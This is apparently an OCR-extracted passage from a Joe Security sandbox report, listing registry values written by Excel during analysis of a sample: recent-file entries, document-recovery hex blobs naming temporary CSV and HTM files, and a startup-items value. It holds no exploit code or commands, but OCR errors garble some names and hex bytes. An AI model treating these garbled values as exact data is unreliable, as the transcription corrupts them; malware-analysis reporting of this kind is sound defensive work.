rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 8

Item 9

Item 10

Item 11

Iltem 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDD64 binary 04 00 00 00 6C 09 00 00 38 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDD64 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 32 00 2E 00 31 00 2E 00 30 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
F7 EE CO 7F 10 47 D7 01 64 DD OE 00
64 DD OE 00 00 00 00 00 B8 02 00 00 0A
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDE2F binary 04 00 00 00 6C 09 00 00 39 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDE2F 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 33 00 2E 00 39 00 37 00 2E 00
30 00 2E 00 73 00 68 00 65 00 65 00 74
00 2E 00 63 00 73 00 76 00 00 00 00 00
220000 00 43 00 3A 00 5C 00 55 00 73
00 65 00 72 00 73 00 5C 00 41 00 6C 00
62 00 7500 73 00 5C 00 41 00 70 00 70
00 44 00 61 00 74 00 61 00 5C 00 4C 00
6F 00 63 00 61 00 6C 00 5C 00 54 00 65
00 6D 00 70 00 5C 00 01 00 00 00 01 00
00 00 F7 EE CO 7F 10 47 D7 01 2F DE
OE 00 2F DE OE 00 00 00 00 00 B8 02
00 00 OA 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EDEBB binary 04 00 00 00 6C 09 00 00 38 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EDEBB 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 62 00 65 00 66 00 6F 00 72 00 65
00 2E 00 34 00 2E 00 32 00 2E 00 30 00
2E 00 73 00 68 00 65 00 65 00 74 00 2E
00 63 00 73 00 76 00 00 00 00 00 22 00
00 00 43 00 3A 00 5C 00 55 00 73 00 65
00 72 00 73 00 5C 00 41 00 6C 00 62 00
7500 73 00 5C 00 41 00 70 00 70 00 44
00 61 00 74 00 61 00 5C 00 4C 00 6F 00
63 00 61 00 6C 00 5C 00 54 00 65 00 6D
00 70 00 5C 00 01 00 00 00 01 00 00 00
7A 7F DD 7F 10 47 D7 01 BB DE OE 00
BB DE OE 00 00 00 00 00 B8 02 00 00
0A 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Place MRU
HKEY_CURRENT_USER\Software\Mic Max Display dword 25 success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru
HKEY_CURRENT_USER\Software\Mic Item 1 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\8416751812.xIsx
HKEY_CURRENT_USER\Software\Mic Iltem 2 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\3580751004.xIsx
HKEY_CURRENT_USER\Software\Mic ltem 3 unicode [FO0000000][T01D1BB6D4B429860] success or wait 2 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\file mru [©00000000]*C:\Users\user\Desk

top\5367203117.xIsx
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\file mru

Copyright Joe Security LLC 2021

Name

Iltem 4

Item 5

Iltem 6

Iltem 7

Iltem 8

Item 9

Item 10

Iltem 11

Item 12

Item 13

Iltem 14

Item 15

Item 16

Iltem 17

Item 18

Item 19

Item 20

Type

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

unicode

Data

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3764832265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\3013890265.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\0615447233.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4144085054.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2109793820.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1417002460.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1387277564.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9281004682.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\1169381505.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9801086636.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7838756049.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\8416181845.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2874006916.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\9369051781.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\7606393495.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\4458179343.xIsx

[FO0000000][T01D1BB6D4B429860]
[©00000000]*C:\Users\user\Desk
top\2849925037.xIsx

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count

Source
Address

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7TFEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

7FEEAC59ACO

Symbol

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown

unknown
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Key Path

HKEY_CURRENT_USER\Software\Mic
rosoft\Office\14.0\Excel\Resil
iency\DocumentRecovery\EDF86

Copyright Joe Security LLC 2021

Name

EDF86

Type

binary

Data

04 00 00 00 6C 09 00 00 30 00 00 00 43 success or wait

00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 78 00 6C 00 73 00 6D 00 2E 00 73
00 68 00 65 00 65 00 74 00 2E 00 63 00
73 00 76 00 00 00 00 00 22 00 00 00 43
00 3A 00 5C 00 55 00 73 00 65 00 72 00
73 00 5C 00 41 00 6C 00 62 00 75 00 73
00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 00 01 00 00 00 01 00 00 00 81 A0 16
80 10 47 D7 01 86 DF OE 00 86 DF OE
00 00 00 00 00 B8 02 00 00 66 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00

Completion

Source

Count Address Symbol

1

7FEEAC59ACO unknown
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Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic EE051 binary 04 00 00 00 6C 09 00 00 26 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\EE051 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 44 00 65 00 73 00 6B 00 74 00
6F 00 70 00 5C 00 49 00 6F 00 76 00 77
00 66 00 55 00 79 00 62 00 55 00 4A 00
2E 00 78 00 6C 00 73 00 78 00 00 00 00
00 17 00 00 00 43 00 3A 00 5C 00 55 00
73 00 6500 72 00 73 00 5C 00 41 00 6C
00 62 00 75 00 73 00 5C 00 44 00 65 00
73 00 6B 00 74 00 6F 00 70 00 5C 00 01
00 00 00 01 00 00 00 64 92 35 80 10 47
D7 01 51 EO OE 00 51 EO OE 00 00 00 00
00 B8 02 00 00 64 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00

HKEY_CURRENT_USER\Software\Mic ;)8 binary 3B 29 38 00 6C 09 00 00 02 00 00 00 00 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resiliency\Startupltems 00 00 00 42 00 00 00 01 00 00 00 20 00

00 00 16 00 00 00 69 00 6F 00 76 00 77

00 66 00 75 00 79 00 62 00 75 00 6A 00

2E 00 78 00 6C 00 73 00 78 00 00 00 69

00 6F 00 76 00 77 00 66 00 75 00 79 00

62 00 75 00 6A 00 00 00

Copyright Joe Security LLC 2021 Page 30 of 34



Source

Key Path Name Type Data Completion Count Address Symbol
HKEY_CURRENT_USER\Software\Mic 10C320 binary 04 00 00 00 6C 09 00 00 2A 00 00 00 43 success or wait 1 7FEEAC59ACO unknown
rosoft\Office\14.0\Excel\Resil 00 3A 00 5C 00 55 00 73 00 65 00 72 00

iency\DocumentRecovery\10C320 73 00 5C 00 41 00 6C 00 62 00 75 00 73

00 5C 00 41 00 70 00 70 00 44 00 61 00
74 00 61 00 5C 00 4C 00 6F 00 63 00 61
00 6C 00 5C 00 54 00 65 00 6D 00 70 00
5C 0069 00 6D 00 67 00 73 00 2E 00 68
00 74 00 6D 00 00 00 00 00 22 00 00 00
43 00 3A 00 5C 00 55 00 73 00 65 00 72
00 73 00 5C 00 41 00 6C 00 62 00 75 00
73 00 5C 00 41 00 70 00 70 00 44 00 61
00 74 00 61 00 5C 00 4C 00 6F 00 63 00
61 00 6C 00 5C 00 54 00 65 00 6D 00 70
00 5C 00 01 00 00 00 01 00 00 00 38 E9
8D C9 1047 D70120C3100020C3
10 00 00 00 00 00 B8 02 00 00 56 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00
